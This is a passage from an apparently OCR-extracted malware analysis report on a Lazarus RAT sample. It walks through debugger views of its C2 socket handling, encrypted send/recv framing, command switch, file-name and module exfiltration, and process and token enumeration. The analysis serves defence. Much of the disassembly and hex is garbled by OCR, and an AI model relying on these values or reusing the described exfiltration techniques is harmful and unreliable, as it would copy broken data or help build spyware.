FF 15 00 53 41 00 call dword ptr ds:[<&connect>] v
Tl AR As AR AR —er: wdi: himmd e cecWaan aanl
' s |Defout stial v|[5 [] 0] unkd
£ 1: [esp] 0000011C
dword ptr [00415300 <lazarus.&connect>]=<ws2_32.connect> 2: [esp+4] 028FFD54
3: [esp+8] 00000010
4: [esp+C] 00000001
.text: 00401087 Tazarus.exe:$1087 #1087 -
0000011C

Woumpt  Woump2  Woump3  Whoumpd  Woumps M watth1  Ixellocals 7 Stuct 026rFC34 | 028FFD54
Address | Hex | ASCIT | H 028FFC38 | 00000010

028FFD54]02 00 [01 BBJAF 64 BD AE[00 00 00 00[00 00 00 00[W..» G%8........ | ; 2ﬂ22232}
Figure 26

The select API is utilized to determine the status of the socket:

esag 4C 24 14 ?:;heisxdword ptr s ¢ ; xe7Tw_2 3 (‘E-m;\;;) x&7T_3 3 EE"';E%
6A 00 push 0 % = X87TW_4 3 (Empty) X87TW_5 3 (Empty)
51 push ecx X87TW_6 3 (Empty) X87TW_7 3 (Empty)
6A 00 push 0
6A 00 push 0 x87Statusword 0000
89 74 24 28 mov dword ptr X87SW_B 0 X87SW_C3 0 X87SW_C2 0
C7 44 24 24 01 00 00 00 mov dword ptr X87SW_C1 0 X87SW_CO 0 X87SW_ES 0
89 54 24 1C mov dword ptr X87SW_SF O X87SW_P 0 x87SwW_U 1]
C7 44 24 20 00 00 00 00 mov_dword pf Besp+200, ¢
FF 15 54 53 41 00 call dword ptr ds: [(&se'lecb] v
e 5 | Defauit (stdcal) ~|[s 2] unlodt
= 1: [e: 00000000
dword ptr [00415354 <lazarus.&select>]=<ws2_32.select> 2: 55914] 00000000
3: [esp+8] 028FFC4C
4: [esp+C] 00000000
.Text:004010EC Tlazarus.exe: $10EC #10EC

@oumpt  Wypump2 UWDump3  @WDump4  WWDumps @ watch1  [x-llocals ) Struct 028PFC2C

Address | Hex | Asc1z | gig;:ggg
028FFC44 [0A 00 00 00|oo 00 00 00‘01 00 00 00[1c 01 00 oo| S ‘ 028FFC38

Figure 27

028FFC4C

00000000
028FFC44

The blocking mode for the socket is enabled using the ioctlsocket routine:

52 push edx X87SW_C1 O X87SW_CO 0 X87SW_ES 0
68 7E 66 04 80 push 8004667E X87SW_SF O X87SW_P 0 X87SW_U 0
56 push esi I

FF 15 F4 52 41 00 €all dword ptr ds:[<&ioctlsocket>]

v
Defauilt (stdcall) v |[5 2] unlock
1: [esp] 000001EC
2: [esp+4] 8004667E
3: [esp+8] 028FFC40
4: [esp+C] 00000000

y
dword ptr [004152F4 <lazarus.&ioctlsocket>]=<ws2_32.7octlsocket>

.Text: 00401109 lazarus.exe:$1109 #1109

5 00D001EC
Woump1  @Yoump2 @4pump3  WYoump4  @Mpumps @ watch1  Ix-llocals 4 Struct 028FFC34 || 8004667E
Address | Hex | Asc1I | 7 ? gggz;g;g
028FFC40 [[00] 00 00 00[0A 00 00 00[00 00 00 00[OL1 00 00 OO|M..veveeeeuunnnn | ‘ AnnnAnnn

Figure 28
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There is a call to GetTickCount followed by another one to the _rand function. The result of the operations
is encrypted using the RC4 key presented before. The structure of the data sent to the server is “17 03 01

00 <buffer length> buffer”:

X87statusword 0000

6A 00 push 0
8D 0C 2E lea ecx,dword ptr ds:[esi+ebp] X87SW_B O Xx87SW_C3 0 x87Sw_C2 0
50 push eax X87SW_C1 O Xx87SW_CO O X87SW_ES O
51 push ecx )(87SW_SF 0 XB?SW_P 0 X87SW_U o
52 push edx
FF 15 20 52 41 00 call dword ptr ds:[<&send>] v O
| Default (stdcal) v [5 2] 00 unlod
1: [esp] 0O000D1EC

dword ptr [00415220 <lazarus.&send>]=<ws2_32.send>

.Text: 00403387 lazarus.exe:$3387 #3387

@4 Dump 1 @YDump2  @%Dump3 @Y% Dump 4

Address | Hex |
0270c638[17 03 01 00J0s|[DA"FA"ASTS8S 06 88 4D[76| 00 00 O

2: [esp+4] 0270C638
3: [esp+8] 0000000D
4: [esp+C] 00000000
oumps @ watch1  Ix-llocals 7 Struct E o HURRAE
ASCIT | ”ozs#cy 00000000
028FFCES || 00000000
] [E55E5 OO ey, . . | n>7nccac

Figure 29

The process receives data from the socket by calling the recv function. It expects a structure such as “17

03 01 00 <buffer length>", and then

4F 08
04 16

15 AC 53 41 00

other recv calls follow:

push eax

push ecx x87Statusword 0000

mov ecx,dword ptr ds:[edi+8] X87SW_B 0O x87SW_C3 0 Xx87Sw_C2 0

lea eax,dword ptr ds:[esi+edx] X87SW_C1 0O Xx87SW_CO O Xx87SW_ES 0O

push eax X87SW_SF 0O X87SW_P 0 X87SW_U o

pui? ecx

ca cMord _ptr ds:[<trecv>] v

------ 3 | Defaut stdcal) ~ |[s_2]00 unlod

dword ptr [004153AC <lazarus.&recv>]=<ws2_32.recv>

.Text: 00403303 lazarus.exe:$3303 #3303

4% Dump 1 @45 Dump 2 @4 Dump 3 @4 Dump 4 @4 Dump 5

Address 'Hex
Anarrnnn B nn nn ARTAR AR nn AnTer T an anTre enoae an

1: [esp] 0D00D001EC

2: [esp+4] 028FFD20

3: [esp+8] 00000005

4: [esp+C] 00000000
- DD0D01EC
@ watch 1 [x=ILocals £ struct 028FFCDC | 028FFD20
028FFCEOD | 00000005
| asciz = "||028FFCE4 00000000

Figure 30

A new thread that will handle the RAT capabilities of the malware is created via a CreateThread API call:

6A 00

push 0

x87Statusword 0000

6A 00 push 0
6A 00 push 0 X87SW_B 0 XB87SW_C3 0 X87SW_C2 0
68 A0 85 40 00 push lazarus.4085A0 X87SW_C1 O x87SW_CO 0O Xx87SW_ES 0O
6A 00 push 0 X87SW_SF O X87SW_P 0 X87SW_U ©
6A 00 push 0
EIP, FF 15 40 52 41 00 €all dword ptr ds:[<&CreateThread>] v D
| > liefaul;ish;ca‘:'))mom o j j Unlock
dword ptr [00415240 <lazarus.&CreateThread>]=<kernel32.CreateThread> 2: eng] 00000000
3: [esp+8] 004085A0 lazarus.004085A0
4: [esp+C] 00000000
.Text:0040937C lazarus.exe:$937C #937C
3 00000000
@oump1  @4pump2 Woump3  @oump4  @HDumps @ watchi  Ixellocals ) Struct 0298FD5 4 | 00000000
0298FD58 | 004085A0 1azarus. 004085A0
Sggg:;:t) H“Do 00! 00[FF 00 00 00 Jascrs / ! " || 029sFosc || 00000000
= % 0298FD60 | 00000000
0298FD64 || 00000000

LIFARS
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OllyDumpEx plugin is used to dump the process memory for further analysis, however, we still need to fix
the IAT (import address table):

OllyDumpEx v1.62 - lazarus.exe X
Module
Base: (® Module C:'\Users-\Desklop'\lazarus.exe v
O Memory | 00400000 (00001000) 2 Imag 2R / lazanus £ PE
O Address 00400000 Cacel
List Section: @ Base Only O AllMemory (O Address Range 00400000 - 01400000

Dump Mode: @ Rebuild (O Binary (Raw) O Binary [Virtual)
Image Source: @ Memory (O Disk
Search

Format

Search Area; (@) Select O all Memory [exclude listed module) @® PE
SearchMode: @ Stict O Fuzzy [slow) pescineos) | MEEcMERll | | OELF
Image Option
Image Base: | 00400000 Fix Virtual Offset Prefer Original Characteristics (Need Rescan)

; Fix Corrupted Image Header Structure
Image Size: | 00018000 [ Disable Relocation

. [] &uto Adjust Image Base Address
Entry Point: | 00003BSE

b _ £: dlFc ez [] Rebuild DataDirectory (Follow ImageBase Change)
Section
Select Al Select BaseModule' | Select Private/all  Select Private/Exec DeSelect Al

Address Size  Owner Section Type Access VitualOffset VirtualSize Characteristics
00401000 0O00OFO00  lazarus text Imag RE 00001000 OOOOFOOO 60000020
00410000 00002000 lazarus adata Imag R 00010000 00002000 40000040
00412000 00005000  lazarus .data Imag RW 00012000 00005000 C0000040
00417000 00001000  lazarus Is1c Imag R 00017000 00001000 40000040

IPE32 86 EXE loaded, BaseAddress=00400000

Figure 32

Scylla (https://github.com/NtQuery/Scylla) didn't help us in fixing the IAT, however Imports Fixer 1.6
(https://forum.tuts4you.com/files/file/1205-imports-fixer-legacy-archives/) has performed this task
successfully:
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File Tools

E Imports Fixer 1.6 *PUBLIC VERSION* - (C) 2010 SuperCRacker - SnD tEaM
Help

Processes & Modules IT & IAT ‘ Hex Editor
Imports

Disassembling & Debugaing \

» - Invalid Thunks™ (1)

kemel32.dIl (7)

> -ws2_32.dI(4)
- advapi32.dil (1)
~ws2_32.d1(2)

» - kemel32.dll (2)
- advapi32.dil (1)

» - kemel32.dIl (3)

» - kemel32.dll (2)

> - kemel32.dIl (3)

» - kemel32.dIl (2)
~ws2_32.dI (1)

> -kemel32.dIl (1)

» - kemel32.dIl (3]

» - kemel32.dll (2)

ws2_32.d1(1)

» - kemel32.dIl (1)
> - kemel32.dIl (1)

advapi32.dil (2)

- advapi32.dil (1)

> - kemel32.dIl (1)
~ws2_32.dI(1)

» - kemel32.dI (1)
~ws2_32.dI(1)
-iphlpapi.dil (1)

> -ws2_32.dI(1)

» - kemel32.dIl (1)

» - kemel32.dl (1)

> -ws2_32.dI(1)

> - kemel32.dIl (4)
- advapi32.dil (1)

» - kemel32.dl (1)

keamel32 AL

Code sections
text

[ .idata
[ .data

[ ssre

OEP: Locate

Scan for direct calls
Use always auto scan first |

|_Get Imports [auta scan] |
Manaqge IAT entries
Load Imports

Save Imports
Fix dump
Show invalid thunks

Clear Imports
14T manual adding

Imports Info
Rva - 00000000

Size: 00000000 || -

Add new section

Figure 33

Depending on what command it receives from the C2 server, the malware implements 34 different cases
regarding RAT functionalities (some of them have the same execution flow as we'll see later on):

text:@04085EF mov edx, [esp+l4h+var_4]

text:004085F3 shr edx, 1

text:0040885F5 mov [ebx+edx*2], ax

text:004885F9 mov eax, [esp+l4h+var_8]

text:084885FD add eax, @FFFF@@CCh ; switch 34 cases

.text:00408602 cmp eax, 21h

text:00408605 ja def_4@8613 ; jumptable 0408613 default case, cases 65337,653408-65342,65347,65351-65354,65358,65361,65362
Figure 34
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THREAD ACTIVITY — SUB_4085A0 FU

We will describe each execution flow depending on the EAX value, which is computed based on the data
the malware receives from the C2 server (figure 34).

EAX = 0 — traverse a directory received from the C2 server and send the files name to the C2

The process traverses the targeted directory using the FindFirstFileW and FindNextFileW functions:

51

.text:00406D40 lazarus.exe:$6D40 #6D40

52
FF 15 BO 52 41 00

dword ptr [004152B0 <lazarus.&FindFirstFilew>]=<kernel32.FindFirstFilew>

push ecx
push edx
€all dword ptr ds:[<&FindFirstFilew>]

|xs7sw:sr=o X87SW_P O X87SW_U O

~|[5 2] 0] unlod

v
Default (stdcall)

1: [esp] 025669E0 L "C:\\Users\\IIll\\Desktop\\
2: [esp+4] 0310FDIL

3: [esp+8] 025717-‘08

4 esp+C] 00000000

W Dump 1 W Dump 2  @Ypump3

51

.text:00406E87 lazarus.exe:$6E87 #GES7

@4 Dump 4
52
FF 15 A4 52 41 00

dword ptr [004152A4 <lazarus.&FindNextFilew>J=<kernel32.FindNextFilew>

Woumps @ watch1  Ix-llocals £ Struct
push ecx
pus|
cn1'| dword _ptr ds:[<&FindNextFilew>]

025669E0| L"C: \\Users\ I\ \DEeSKTOp\\Testr\\*.*"
0310FCF8 | 0310FD18
| X87SW_SF O X87SW_P
e

v
Default (stdcall)

0 X87SW_U o

i E’ [J unlock

1: [esp] 02569BC8
2: [esp+4] 0310FD18
3: [esp+8] 02571FD8
4:

@Dump1  @Ypump2 @ Dump3

The directory name is encrypted using the XOR algorithm and sent to the C2 server.

4% Dump 4

@Woumps & watch 1 2 struct

Figure 35

Ix= Locals

encrypted as well (note the case number):

6A 00

83 C2 05

51

8B 4D 0OC

52

E8 BO FA FF FF

8B 44 24 28
8B 4D 04

<D
E8 DD FD FF FF

<

push 0

add edx,

push ecx

mov ecx,dword ptr ss:[febp+C)
push edx

€all lazarus. 403010

mov eax,dword ptr ss:[fesp+23])
mov ecx,dword ptr ss:[febp+4]
push 0

push eax

push ebx

push ecx

mov ecx,ebp

call 1azarus 403350

esp+C] 00000000
025698C8
0310FCF3| 0310FD18

The file name is

x87Tagword FFFF

X87TW_0 3 (Empty)
X87TW_2 3 (Empty)
X87TW_4 3 (Empty)
X87TW_6 3 (Empty)

X87TW_1 3 (Empty)
X87TW_3 3 (Empty)
X87TW_5 3 (Empty)
x87TW_7 3 (Empty)

x87statusword 0000

X87SW_B 0O x87SW_C3 0 x87Sw_C2 0
X87SW_C1 O x87SW_CO O Xx87SW_ES O
X87SW_SF O X87SW_P 0 Xx87SwW_U o

Y| [ED Unloc

> Default (stdcall)

lazarus.00403010

.Text: 00403558 lazarus.exe:$3558 #3558

1: [esp] 0255C63D
2: [esp+4] 00000016
3: [esp+8] 00000000
4: [esp+C] 02566C40 L"test.txt"

0255C63D
E0| 00000016

@oumpt  WWpump2 WDump3  GWDump4  WWpumps @D watch1  Ir-llocals 7 Struct
Address | Hex
0255C63D [ =2 73 00

v 00 65 00

0255C64D | 7

74 O0|2E 00 74 00 +y..t.e.s.t...T.

Address | He
0255C63D | AD
0255C64D |ES FI

Figure 36

00000000
02566C40
000000FC
AnNNNNNNN

L"test.txt"

The encrypted file name is transmitted to the server in the structure “17 03 01 00 <encrypted filename
length> encrypted filename”, as shown in figure 37.
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push 0

lea ecx dword ptr ds:[esi+ebp]
push eax

push ecx

push edx

call dword ptr ds:[<&send>]

x87Statusword 0000

X87SW_B O x87SW_C3 0 x87Sw_C2 O
X87SW_C1 O x87SW_CO 0O Xx87SW_ES O
X87SW_SF O X87SW_P 0 Xx87SW_U o

% E] [ unlod

¥ | Defauit (stdcal)

dword ptr [00415220 <lazarus.&send>]=<ws2_32.send>

.Text: 00403387 lazarus.exe:$3387 #3387

1: [esp] 0000011C

2: [esp+4] 0255C638
3: [esp+8] 00000018
4: esp+C] 00000000

00000:
0310FC88| 0255C638

@oumpt  WWpump2 UWDump3  UWDump4  WWDumps @D watch1  Ie-llocals 47 Struct
Address ASCII
0255C638 |17 AF =
0255C648 7 D +

0255C658| 36 50]00 60 00 00|00 00 00 0600 00

Figure 37

00000000
)4 | 0255C653
02566C52

EAX = 1 — enumerate the processes and the modules of the current process. Extract the process creation
time, the exit time of the process, the amount of time that the process has executed in user/kernel mode.
Open the access token associated with a process and determine if the user belongs to a privileged group

The binary takes a snapshot of the processes (0x2 = TH32CS_SNAPPROCESS):

55 push ebp

IXS7SW_SF 0 X87SW_P 0 X87SW_U o

GA 02 push 2
FF 15 5C 53 41 00 €all dword ptr ds:[<&CreateToolhelp3

.text:00406F2C lazarus.exe:$6F2C #6F2C

dword ptr [0041535C <lazarus.&CreateToolhelp32snapshot>]=<kernel32.CreateToolhelp32snapshot>

ot>] v

Default (stdcall)
[1: [esp] 2
2: [esp+4] 00000000
3: [esp+8] 02571FD8
a:

~|[5 2] unlod

@oump1  @YDump2 4 Dump3 @ watch1  [x=llocals 4 Struct

Figure 38

Y% Dump4 Y% Dump5

esp+C]_00000000
mm |
0310F8D8| 00000000

The processes are enumerated using the Process32FirstW and Process32NextW APIs:

50 push eax
push edx

52
FF 15 E8 52 41 00 €all dword ptr ds:[<&Process32Firstw>]

0 x87SW_U 0

¥ El [ unlod

| x87SW_SF 0 x87SW_P
© I
Default (stdcall)

dword ptr [004152E8 <lazarus.&Process32FirstwW>]=<kernel32.Process32Firstiw>

.Text:00406F64 lazarus.exe:$6F64 #6F64

>
1: [esp] 000001F4
2: [esp+4] 0310F918
3: [esp+8] 02571FDS
4: esp+C] 00000000

@4 Dump 1 @45 Dump 2 @4 Dump 3 ©% Dump 4 @4 Dump 5 @ watch 1 [x=] Locals :;’ Struct

Figure 39

OpenProcess is utilized to open the local process object (0x410 =

PROCESS_VM_READ):

50 push eax
push ebp
push 410
€all dword ptr ds:[<OpenProcess>]

68 10 04 00 00
FF 15 4C 52 41 00

meﬁqmn F4 |
0310F8D8| 0310F918

PROCESS_QUERY_INFORMATION |

X87SW_C1 O x87SW_CO 0O Xx87SW_ES O
X87SW_SF 0 X87SW_P 0  X87SW_U o

4 B [ unlod

v I
Default (stdcall)

dword ptr [0041524C <lazarus.&OpenProcess>]=<kernel32.0penProcess>

.text:00406FCE lazarus.exe:$6FCE #6FCE

1: [esp] 00000410
2: [esp+4] 00000000
3:
4

esp+C] 02571FD8

@oump1  YYDump2 WWDump3 WWDump4  WWDumps @ watch1  Ix-llocals & Struct

esp+8] 00000000
00000410
0310F8D4 | 00000000
. || 0310F8D8 | 00000000

lacrrr [l

Figure 40

Addracs [uay
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6A 00 push 0 2 x87Statusword 0000

i o
i . 83 C2 05 add edx,s X87SW_B 0 Xx87SW_C3 0 X87SW.C2 0
! . 51 push ecx X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0O
| . 8B 4D 0OC mov ecx,dword ptr ss:[febp+C] X87SW_SF O X87SW_P 0 Xx87Sw_U 1]
i . 52 push edx -
e E8 BO FA FF FF call lazarus. 403010 v
Le=208 S S S e > Default (stdcall) 4 [EDUnlod

1: [esp] 0255C63D

Tazarus.00403010 2: [esp+4] 00000060
3: [esp+8] 00000000
4: [esp+C] 02569C24

.Text: 00403558 lazarus.exe:$355B #3558

WWoumpt  Dump2 WWDump3 W¥Dump4  UWDumps @ watch1i  Ix-llocals 7 Struct

Address_| Hex s
0255C63D [@8] FF_00 00]]00 00 00 00|00 00 00 00]0i 00
0255C64D | 00 00 00 00 o

0255C65D 0 7

0255C66D (50 00
0255C67D (00 00 00
0255C68D | 00 00 00 00
Address
0255C63D
0255C64D
0255C65D
0255C66D
0255C67D
0255C68D

00000000
025698BC8
00010317
00000060

FAnAn3a1C | rarirn +a Tazarie NAAND41C Fram Tazarne N0

Figure 41

6A 00 push 0 x87Statusword 0000
8D 0C 2E lea ecx dword ptr ds:[esi+ebp] X87SW_B 0 Xx87SW_C3 0 Xx87Sw_C2 0
50 push ea: X87SW_C1 O x87SW_CO O x87SW_ES 0O
51 push ecx X87SW_SF O X87SW_P 0 X87SW_U o
52 push ed: emmenTa A
FF 15 20 52 41 00 call dword _ptr ds: [<&send>] v
’ = 5 [iefault (stdcall) - ~ |[s_1£]00 unlod
: [esp] 00000.
dword ptr [00415220 <lazarus.&send>]=<ws2_32.send> esgL 0255C638
esp+8] 00000065
esp+C] 00000000
.Text: 00403387 lazarus.exe: $3387 #3387 E:
0000011C
WWoump1  @pump2  @Hoump3  @Hpump4  @Mpumps @) watch1  [x=lLocals 2 struct 0310F868| 0255C638
R ASCII ~ | 0310F86c | 00000065
0255C638 17 3 & M TOET
- 31( 0255C690
0255C648 02369¢24
0255C658 02554E40
0255C668 00000065
0255C678 =
0235C688 00403573(return to lazarus.00403573 from lazarus.00
0255C698 0255C638
AnANNNAS

Figure 42

The file takes a snapshot of the current process that includes all its modules (0x8 =
TH32CS_SNAPMODULE):

i 50 puSl’\ eax ‘ X87SW_SF O X87SW_P 0 X87SW_U o
i GA 08 push 8 (SR
EIP T FF 15 5C 53 41 00 cu'l'l mord ptr ds:[<&CreateToolhelp32snapshot>] v
; 5 | Defauit (stdcal) ~ |[s_]0] unlod
1: [esp]

8
esp+4] 00000000
esp+8] 02571FDS8
4: [esp+C] 00000000

dword ptr [0041535C <lazarus.&CreateToolhelp32snapshot>]=<kernel32.CreateToolhelp32Snapshot>

.text:0040706E lazarus.exe: $706E #706E

WWoump1 @Ypump2 @Wpump3 @HDump4  @Wpumps @ watch1  Ix=lLocals 2;’ Struct 0310FSD3 oomg |

Figure 43

The modules are enumerated using the Module32FirstW and Module32NextW APIs:
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FF 15 24 52 41 00

push ecx
push eax
call mord ptr ds: [<&Module32Firstw>]

‘ X87SW_SF O XB87SW_P

X Default (stdcall)

1:

dword ptr [00415224 <lazarus.&vodule32Firstw>]=<ke!

.Text: 00407095 lazarus.exe:$7095 #7095

rnel3z.Module32Firstw>

esp.
2: [esp+4] 0310FB44
3: [esp+8] 02571FDS8
4: [esp+C] 00000000

EIP

E8 59 23 00 00

i

Pa) Dump 1 U.U Dump 2 94 Dump 3 $Dump4 @4 Dump 5 @ watch1  [x=l Locals :f’ Struct
I : 50 push eax
| ' 54 push ecx

€all <lazarus.Module32Nextw:

mmc |
0310F8D8| 0310FB44

‘ X87SW_SF 0 X87SW_P

X87SW_U o

> Default (stdcall)

v [s_2] 0 unlod

1: [esp] 000001FC

v
<lazarus.Module32Nextw>

.text:004070E2 lazarus.exe:$70E2 #70E2

)
2: [esp+4] 0310FB44
3: [esp+8] 02571FD8
4: [esp+C] 00000000

@4 Dump 1 Q% Dump2 @Y% Dump 3 U4 Dump 4

@4 Dump 5

@ Watch 1 [x=] Locals 21’ Struct

Figure 44

000001FC |
0310F8D8 | 0310FB44

The module name is XOR-ed and exfiltrated to the C2 server using the send routine:

00
83 C2 05
51
8B 4D 0C
52
E8 BO FA FF FF

push 0
add edx,5
push ecx
mov ecx,dword ptr ss:|[febp+C]
push edx

€all lazarus. 403010

x87Statusword 0000

X87SW_B 0 x87SW_C3
X87SW_C1 0 Xx87SW_CO
X87SW_SF O X87SW_P

o

X87SW_U o

Default (stdcall)

24 E’ [J unloct

1: [esp] 0255C63D

lazarus. 00403010

.text: 00403558 lazarus.exe:$355B #3558

2: [esp+4] 00000046
3: [esp+8] 00000000

4: [esp+C] 02566C00 L™

C:\\Windows\\System32\\

0255C66D (#3500 61 00
0255C67D [IBET00T6C] 00
0255C68D | B1 82 D7 92

00 70

=1
w O

6A 00
8D 0C 2E

XXX

5
FF 15 20 52 41 00

@4 Dump 1 4% Dump 2 @4 Dump 3 @4 Dump 4 4% Dump 5 @9 watch 1 [x=] Locals 2 Struct
Address | Hex

0255C63D | 35 FF 00 00 4300 3A D0|5C 00 57 00|69 00 Bhe

0255C64D [[GAID0NGEI00| 77 73 00 00 53 00|79 00 73 00 Sy

0255C65D |74 00 65 00(ED 00 5C 00|72 00 61 00 s

Figure 45

push 0

lea ecx,dword ptr ds:
push eax

push ecx

push edx

call dword ptr ds: [<&send>]

[esi+ebp]

x875tatusword 0000

X87SW_B X87SW_C3 0
X87SW_C1 0O x87SW_C0 0O
X87SW_SF O X87SW_P

o

L"C:\\Windows\\System32\\rasadhlp.d11"

X87SW_C2 0
X87SW_ES 0
X87SW_U o

v
Default (stdcall)

~ |[5 2] unlod

1: [esp] 0000011C

dword ptr [00415220 <lazarus.&send>]=<ws2_32.send>

.text: 00403387 lazarus.exe:$3387 #3387

2: [esp+4] 0255C638
3: [esp+8] 00000048
4: [esp+C] 00000000

YDump1  @Ypump2 @YDump3 @4 Dump 4

@4 Dump 5

@ watch 1 ) Struct

[x=] Locals

S

1C
0255C638

0310F868

Address

0255C638
0255C648
0255C658 | 3
0255C668
0255C678
0255C688
0255C698

Figure 46

0310F86C
0310F870

0310F

00000000
0255C683
02566C42
02554E40
00000048
[00403573

0255C638

GetProcessTimes is used to retrieve timing information for the enumerated process:
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) . 51 push ecx

! . 8D 44 24 30 lea eax,dword ptr ss:|[fesp+30]

i . 52 push edx

H . 8D 4C 24 24 lea ecx,dword ptr ss:|[fesp+24])

H . 50 push eax

: . 51 push ecx
. 56 push esi

—>e FF 15 64 52 41 00 call Mrd ptr ds: [<&GetProcessTimes>]
® e

Ao/ IM_® 3 \EmPLY)  AG/IM_/ 3 LEWPLY)
x87Statusword 0000

X87SW_B 0 XB87SW_C3 O
X87SW_C1 0 X87SW_CO O
X87SW_SF O XB87SW_P )

X87SW_C2 0
X87SW_ES O
X87SW_U 0

v [s 2] unlod

2 Default (stdcall)
esp] 0000011C

dword ptr [00415264 <lazarus.&GetProcessTimes>]=<kernel32.GetProcessTimes>

.text:00406FF3 lazarus.exe:$6FF3 #6FF3

esp+4] 0310F8F8
esp+8] 0310F908
esp+C] 0310F910

Figure 47

Woump1 @Yoump2 @Mpump3  @Ypump4  @Mpumps @ watch1  Ix=lLocals & Struct 0310F8CC 0310F§:§
saress |vex = ' y
0310F8F8 |30/ 00 00 00|48 00 00 00[00 00 00 00|24 E9 10 03(0.. 0310F8D8| 0310F900
0310F908100 00 55 02/00 00 55 02/00 00 00 00/38 00 00 00|..U.. T v A rre
Address | Hex ASCII |
0310F8F8| 0D 35 DA 6D |A5 50 D7 01|C2 EB OB 00|00 00 00 00|.5UM¥PX.A&......
0310F908(00 00 00 00[00 00 00 00|46 €3 23 00[00 00 00 00|........ FA#.....

The malicious process converts the creation time of the enumerated process to system time format:

. 7004 52 push edx X87SW_C1 O Xx87SW_CO 0O Xx87SW_ES 0O
. )05 50 push eax X87SW_SF O X87SW_P 0 X87SW_U o
e[ 00407006 C7 43 08 01 00 00 00 mov_dword ptr ds:[ebx+38],1 — = <
EIP FF 15 48 00 41 00 call dword ptr ds: [<&Fi1eTimeTosystenTimes] v 0O
| Default (stdcal) ~ |5 [2] 0 unlock
v 3 = = - . ; 1: [esp] 0310F8F8
dword ptr [00410048 <lazarus.&FileTimeToSystemTime>]=<kernel32.FileTimeToSystemTime> 2: [esp+4] 025698D4
3: [esp+8] 02571FD8
4: [esp+C] 00000000
.Text: 00407000 lazarus.exe: $700D #700D C
i 0310F8F8
Woump1  @Ypump2 @Mpump3  WWpumps @Houmps @ watch1  Ix=lLocals & struct 02569804
02571FD8
’ Address | AscII | 00000000

0310F8F8 OD 35 DA 6D[A5 50 D7 01[C2 EB OB 00[00 00 00 0O|LSUm¥Px.A&...... |

Figure 48

+l As1nccan

The OpenProcessToken routine is used to open the access token associated with the enumerated process

(0x8 = TOKEN_QUERY):

Figure 49

. Ao/ ImM_U > \EmpLy) Ao/ im_i > \EmpLy)
e gg & gg's_heg?"em x87TW_2 3 (Empty) x87TW_3 3 (Empty)
p< &A 08 push & X87TW_4 3 (Empty) X87TW_5 3 (Empty)
4 51 push Ecx X87TW_6 3 (Empty) X87TW_7 3 (Empty)
. C7 44 24 1C FF FF FF FF mov dword ptr ss:[esp+1Cll,FFFFFFFF
. 33 F6 xor esi,esi x87Statusword 0000
. 33 DB xor ebx,ebx X87SW_B O X87SW_C3 0 X87SW_C2 0
. 89 7C 24 18 mov dword ptr ss:[esp+1s],edi X87SW_C1 0O Xx87SW_CO O x87SW_ES O
. 83 7C 24 24 mov. gworg ptr ss:flesp+24) ,egw X87SW_SF O X87SW_P 0 Xx87SW_U O
. 89 7C 24 20 mov_dwo ss:flesp+20 oo
EF—e FF 15 18 52 41 00 call dword ptr ds: [<eOpenProcessToken>] v
o ety 3 | Defaut (stdcal) v [5 2] unlod
- 1: [esp] 0000011C
dword ptr [00415218 <lazarus.&0penProcessToken>]=<advapi32.0penProcessToken> esgl4] 00000008
esp+8] 0310F8CO
4: [esp+C] 02569C24
.Text:0040727C lazarus.exe:$727C #727C picy
3 0000011C
Woump1  @Ypump2 @Wpump3 @pump4  @Wpumps @ watch1  Ix-lLocals 2 struct 0310F8AS | 0000000:
Address [ Hex lascTr I | 0310F8AC | 0310F8CO

GetTokenInformation is utilized to retrieve the user account of the token, as shown below (0x1

TokenUser):
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e o 52 push edx 2 x87Statusword 0000
e ° 50 push eax X87SW_B 0 X87SW_C3 0 Xx87SW_C2 0
Dty . 56 push esi X87SW_C1 O X87SW_CO 0 X87SW_ES 0
et o 6A 01 push 1 X87SW_SF O X87SW_P 0 X87SW_U 0
i 0 . 51 push ec
E:E_T_T_?—)' FF 15 38 53 41 00 call dword _ptr ds:[<&GetTokenInformation>J v
i B s | Defauit (stdcal) ~|[s 2] unlodt
1: [esp]l 000001FC
dword ptr [00415338 <lazarus.&GetTokenInformation>]=<advapi32.GetTokenInformation> 2: [esp+4] 00000001
3: [esp+8] 025649A0
4: [esp+C] 00000014
.Text:004072DB lazarus.exe:$72DB #72DB
000001FC

@45 Dump 1 8% Dump 2 @4 Dump 3 4% Dump 4 @4 Dump 5 @ watch 1 [x=] Locals 21) Struct

0310F8A0 | 00000001

Address | Hex I:ECII | g:ig:::; 025549:0
E5 07 05 00 QF 00 02 QO[1B 00 64 OL|B:.covzvcse.- 2

TR T e R B ET e B T | B e seae || 0310F8AC | 0310F88C

Figure 50

The binary uses the LookupAccountSidW API to retrieve the account that corresponds to a SID and the
name of the first domain on which the SID was found:

Awrim_e o ey Awram_s 2 ey

et o 51 push ecx
e s T x87TW_4 3 (Empty) x87TW_5 3 (Empty)
g §§ 0% ’gﬂgh"-ggxd“‘“ pErih:les1] X87TW_6 3 (Empty)  Xx87TW_7 3 (Empty)
et 8D 44 24 20 Tea eax,dword ptr ss:[esp+20]
et 57 push edi x87Statusword 0000
b 4 50 push eax X87SW_B O X87SW_C3 0 Xx87SW_C2 0
i i) 53 push ebx X87SW_C1 0O x87SW_CO O Xx87SW_ES O
P 51 push ecx X87SW_SF O X87SW_P 0 Xx87SW_U 0O
i o 6A 00 push 0
Eﬂ:——{—i—) FF 15 80 53 41 00 ca]'l dﬂord ptr ds:[<&LookupAccountSidw>] v 0O
Ll 5 | Defaut (stdcal) v |[5 2] unloc
= - = = 1: [esp] 00000000
dword ptr [00415380 <lazarus.&LookupAccountSidw>]=<advapi32.LookupAccountsSidw> 2: [esp+4] 025649A8
3: [esp+8] 02569C40
4: [esp+C] 0310FSC8
.text:0040735E lazarus.exe:$735E #735E

; 00000000
@Woump1  @oump2  @hDump3  Wpump4  Wyoumps @D watchi  Ix-llocals 7 Struct 0310F898 | 025649A8

0310F89C | 02569C40

Address | Hex ASCIT ~ | 0310F8A0 | 0310FsC8
02569BD4 |E5 07 05 00[01 00 18 00|QE 00 02 0Q0[1B 00 64 OL|&........ T3 0310F8A4 | 025692E0
02569BE4 |77 00 69 00|(6E 00 6C 00|6F 00 67 OO|6F 00 6E 00|w. n. 0310F8A8| 0310F8C4
02569BF4 | 2E 00 65 00|78 00 65 00|00 00 00 00|00 00 00 00|..e.x.e.. 0310F8AC | 0310F8D0O

Figure 51

The Terminal Services session identifier associated with the token from above is extracted using the
GetTokenInformation function (Oxc = TokenSessionId):

L 50 push eax X/5TaTUSWOra LULU
i | 6A 04 push 4 X87SW_B 0 X87SW_C3 0 X87SW.C2 0
